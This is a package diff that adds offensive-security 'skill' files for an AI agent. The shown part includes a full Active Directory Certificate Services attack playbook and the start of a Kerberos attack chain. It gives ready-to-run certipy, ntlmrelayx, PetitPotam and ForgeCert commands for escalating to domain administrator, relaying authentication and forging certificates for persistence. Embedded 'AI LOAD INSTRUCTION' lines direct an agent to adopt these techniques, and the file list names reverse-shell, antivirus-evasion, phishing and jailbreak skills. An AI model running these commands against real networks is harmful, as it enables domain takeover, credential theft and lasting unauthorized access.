ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,303 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: active-directory-certificate-services
|
|
3
|
+
description: >-
|
|
4
|
+
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: AD CS Attack Playbook — Expert Guide
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based attacks that enable ESC4 (template modification)
|
|
16
|
+
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos techniques after obtaining certificates
|
|
17
|
+
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for ESC8 (relay to HTTP enrollment endpoint)
|
|
18
|
+
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for using obtained certificates for lateral movement
|
|
19
|
+
|
|
20
|
+
### Advanced Reference
|
|
21
|
+
|
|
22
|
+
Also load [ADCS_ESC_MATRIX.md](./ADCS_ESC_MATRIX.md) when you need:
|
|
23
|
+
- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
|
|
24
|
+
- One-liner exploitation commands per ESC variant
|
|
25
|
+
- Detection indicators per technique
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 1. AD CS ARCHITECTURE OVERVIEW
|
|
30
|
+
|
|
31
|
+
```
|
|
32
|
+
Certificate Authority (CA)
|
|
33
|
+
│
|
|
34
|
+
├── Enterprise CA (AD-integrated, issues certs based on templates)
|
|
35
|
+
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
|
|
36
|
+
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
|
|
37
|
+
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
|
|
38
|
+
│
|
|
39
|
+
├── Template Key Settings:
|
|
40
|
+
│ ├── Subject Alternative Name (SAN): who the cert represents
|
|
41
|
+
│ ├── Extended Key Usage (EKU): what the cert allows
|
|
42
|
+
│ ├── Enrollment permissions: who can request
|
|
43
|
+
│ └── Issuance requirements: manager approval, authorized signatures
|
|
44
|
+
│
|
|
45
|
+
└── Certificate → Kerberos Auth Flow:
|
|
46
|
+
User presents cert → PKINIT → KDC verifies → issues TGT
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## 2. ENUMERATION
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Certipy (recommended — comprehensive)
|
|
55
|
+
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
|
|
56
|
+
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
|
|
57
|
+
|
|
58
|
+
# Certify (from Windows)
|
|
59
|
+
Certify.exe find
|
|
60
|
+
Certify.exe find /vulnerable
|
|
61
|
+
Certify.exe cas # Enumerate CAs
|
|
62
|
+
|
|
63
|
+
# Manual LDAP query for templates
|
|
64
|
+
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
|
|
65
|
+
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
|
|
66
|
+
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
## 3. ESC1 — ENROLLEE SUPPLIES SUBJECT
|
|
72
|
+
|
|
73
|
+
**Condition**: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Certipy
|
|
77
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
78
|
+
-template VulnTemplate -upn administrator@domain.com
|
|
79
|
+
|
|
80
|
+
# Certify (Windows)
|
|
81
|
+
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
|
|
82
|
+
|
|
83
|
+
# Authenticate with certificate
|
|
84
|
+
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
|
85
|
+
# → NT hash of administrator
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## 4. ESC2 — ANY PURPOSE EKU
|
|
91
|
+
|
|
92
|
+
**Condition**: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# Same as ESC1 exploitation
|
|
96
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
97
|
+
-template AnyPurposeTemplate -upn administrator@domain.com
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## 5. ESC3 — ENROLLMENT AGENT
|
|
103
|
+
|
|
104
|
+
**Condition**: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Step 1: Request enrollment agent cert
|
|
108
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
109
|
+
-template EnrollmentAgent
|
|
110
|
+
|
|
111
|
+
# Step 2: Use enrollment agent cert to request on behalf of admin
|
|
112
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
113
|
+
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
|
|
114
|
+
|
|
115
|
+
# Authenticate
|
|
116
|
+
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## 6. ESC4 — TEMPLATE ACL MISCONFIGURATION
|
|
122
|
+
|
|
123
|
+
**Condition**: Low-privilege user has write access to certificate template object.
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# Modify template to become ESC1 vulnerable
|
|
127
|
+
# Using Certipy:
|
|
128
|
+
certipy template -u user@domain.com -p password -template VulnTemplate \
|
|
129
|
+
-save-old -dc-ip DC_IP
|
|
130
|
+
|
|
131
|
+
# Template is now ESC1 → exploit as ESC1
|
|
132
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
133
|
+
-template VulnTemplate -upn administrator@domain.com
|
|
134
|
+
|
|
135
|
+
# Restore original template (cleanup)
|
|
136
|
+
certipy template -u user@domain.com -p password -template VulnTemplate \
|
|
137
|
+
-configuration old_config.json -dc-ip DC_IP
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## 7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
|
|
143
|
+
|
|
144
|
+
**Condition**: CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled → any template becomes ESC1.
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# Check if flag is set
|
|
148
|
+
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
|
|
149
|
+
|
|
150
|
+
# Exploit: request any template with SAN
|
|
151
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
152
|
+
-template User -upn administrator@domain.com
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## 8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
|
|
158
|
+
|
|
159
|
+
**Condition**: User has ManageCA or ManageCertificates permission on the CA.
|
|
160
|
+
|
|
161
|
+
```bash
|
|
162
|
+
# With ManageCA: enable SubCA template (always allows SAN)
|
|
163
|
+
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
|
|
164
|
+
-enable-template SubCA
|
|
165
|
+
|
|
166
|
+
# Request SubCA cert with admin SAN (will be denied — "pending")
|
|
167
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
168
|
+
-template SubCA -upn administrator@domain.com
|
|
169
|
+
|
|
170
|
+
# With ManageCertificates: approve the pending request
|
|
171
|
+
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
|
|
172
|
+
-issue-request REQUEST_ID
|
|
173
|
+
|
|
174
|
+
# Retrieve the issued certificate
|
|
175
|
+
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
|
|
176
|
+
-retrieve REQUEST_ID
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## 9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT
|
|
182
|
+
|
|
183
|
+
**Condition**: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# Setup relay to enrollment endpoint
|
|
187
|
+
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
|
188
|
+
|
|
189
|
+
# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
|
|
190
|
+
PetitPotam.py RELAY_HOST DC01.domain.com
|
|
191
|
+
|
|
192
|
+
# DC authenticates → relay → certificate issued for DC01$
|
|
193
|
+
# Authenticate with certificate
|
|
194
|
+
certipy auth -pfx dc01.pfx -dc-ip DC_IP
|
|
195
|
+
# → DC01$ hash → DCSync
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## 10. ESC9-ESC13 — NEWER DISCOVERIES
|
|
201
|
+
|
|
202
|
+
### ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
|
|
203
|
+
|
|
204
|
+
Weak certificate mapping allows impersonation when `CT_FLAG_NO_SECURITY_EXTENSION` is set.
|
|
205
|
+
|
|
206
|
+
```bash
|
|
207
|
+
# Change victim's UPN to admin, request cert, change back
|
|
208
|
+
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
### ESC10: Weak Certificate Mapping (Registry-based)
|
|
212
|
+
|
|
213
|
+
Similar to ESC9 but exploits `CertificateMappingMethods` registry value on DC.
|
|
214
|
+
|
|
215
|
+
### ESC11: NTLM Relay to RPC Enrollment
|
|
216
|
+
|
|
217
|
+
Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
|
|
218
|
+
|
|
219
|
+
```bash
|
|
220
|
+
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
|
|
221
|
+
-smb2support --adcs --template DomainController
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### ESC13: OID Group Link (Issuance Policy)
|
|
225
|
+
|
|
226
|
+
Template's issuance policy OID is linked to a group → certificate grants that group membership.
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
|
|
230
|
+
-template ESC13Template
|
|
231
|
+
# Certificate grants membership in linked group
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## 11. CERTIFICATE-BASED PERSISTENCE
|
|
237
|
+
|
|
238
|
+
### Golden Certificate
|
|
239
|
+
|
|
240
|
+
With CA private key → forge any certificate.
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
# Extract CA private key (requires admin on CA server)
|
|
244
|
+
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST
|
|
245
|
+
|
|
246
|
+
# Forge certificate for any user
|
|
247
|
+
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
|
|
248
|
+
|
|
249
|
+
# Authenticate with forged cert
|
|
250
|
+
certipy auth -pfx forged.pfx -dc-ip DC_IP
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
**Persistence**: Valid until CA certificate expires or CA private key is rotated.
|
|
254
|
+
|
|
255
|
+
### ForgeCert (Windows)
|
|
256
|
+
|
|
257
|
+
```cmd
|
|
258
|
+
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
|
|
259
|
+
--SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
## 12. AD CS ATTACK DECISION TREE
|
|
265
|
+
|
|
266
|
+
```
|
|
267
|
+
Targeting AD CS
|
|
268
|
+
│
|
|
269
|
+
├── Enumerate: certipy find -vulnerable
|
|
270
|
+
│
|
|
271
|
+
├── Vulnerable template found?
|
|
272
|
+
│ ├── Enrollee can set SAN + Client Auth EKU?
|
|
273
|
+
│ │ └── ESC1 → request cert with admin UPN (§3)
|
|
274
|
+
│ ├── Any Purpose EKU?
|
|
275
|
+
│ │ └── ESC2 → same as ESC1 (§4)
|
|
276
|
+
│ ├── Enrollment Agent template available?
|
|
277
|
+
│ │ └── ESC3 → enroll as agent, then on-behalf-of (§5)
|
|
278
|
+
│ └── OID group link in issuance policy?
|
|
279
|
+
│ └── ESC13 → request cert for group membership (§10)
|
|
280
|
+
│
|
|
281
|
+
├── Write access to template?
|
|
282
|
+
│ └── ESC4 → modify template to ESC1 condition (§6)
|
|
283
|
+
│
|
|
284
|
+
├── CA misconfiguration?
|
|
285
|
+
│ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
|
|
286
|
+
│ │ └── ESC6 → any template becomes ESC1 (§7)
|
|
287
|
+
│ ├── ManageCA / ManageCertificates permission?
|
|
288
|
+
│ │ └── ESC7 → enable SubCA template, approve requests (§8)
|
|
289
|
+
│ └── HTTP enrollment without HTTPS?
|
|
290
|
+
│ └── ESC8 → NTLM relay to certsrv (§9)
|
|
291
|
+
│
|
|
292
|
+
├── Weak certificate mapping on DC?
|
|
293
|
+
│ ├── StrongCertificateBindingEnforcement < 2?
|
|
294
|
+
│ │ └── ESC9 → UPN manipulation + cert request (§10)
|
|
295
|
+
│ └── CertificateMappingMethods misconfigured?
|
|
296
|
+
│ └── ESC10 → similar UPN abuse (§10)
|
|
297
|
+
│
|
|
298
|
+
├── RPC enrollment without encryption?
|
|
299
|
+
│ └── ESC11 → NTLM relay to RPC (§10)
|
|
300
|
+
│
|
|
301
|
+
└── Already CA admin?
|
|
302
|
+
└── Golden certificate for persistence (§11)
|
|
303
|
+
```
|
|
@@ -0,0 +1,226 @@
|
|
|
1
|
+
# Kerberos Multi-Step Attack Chains
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this for end-to-end Kerberos attack chains that combine multiple AD techniques. Assumes the main [SKILL.md](./SKILL.md) is already loaded for individual Kerberos attacks. Use when planning multi-step attack paths from initial foothold to domain admin.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. CHAIN: KERBEROAST → CONSTRAINED DELEGATION → DOMAIN ADMIN
|
|
8
|
+
|
|
9
|
+
### Scenario
|
|
10
|
+
Low-privilege domain user → cracked service account → delegation abuse → DA.
|
|
11
|
+
|
|
12
|
+
```
|
|
13
|
+
Step 1: Kerberoast
|
|
14
|
+
│ GetUserSPNs.py DOMAIN/lowpriv:password -dc-ip DC -request
|
|
15
|
+
│ hashcat -m 13100 tgs.txt wordlist.txt
|
|
16
|
+
│ → Cracked: svc_backup / P@ssw0rd2024
|
|
17
|
+
│
|
|
18
|
+
Step 2: Enumerate delegation
|
|
19
|
+
│ findDelegation.py DOMAIN/svc_backup:P@ssw0rd2024 -dc-ip DC
|
|
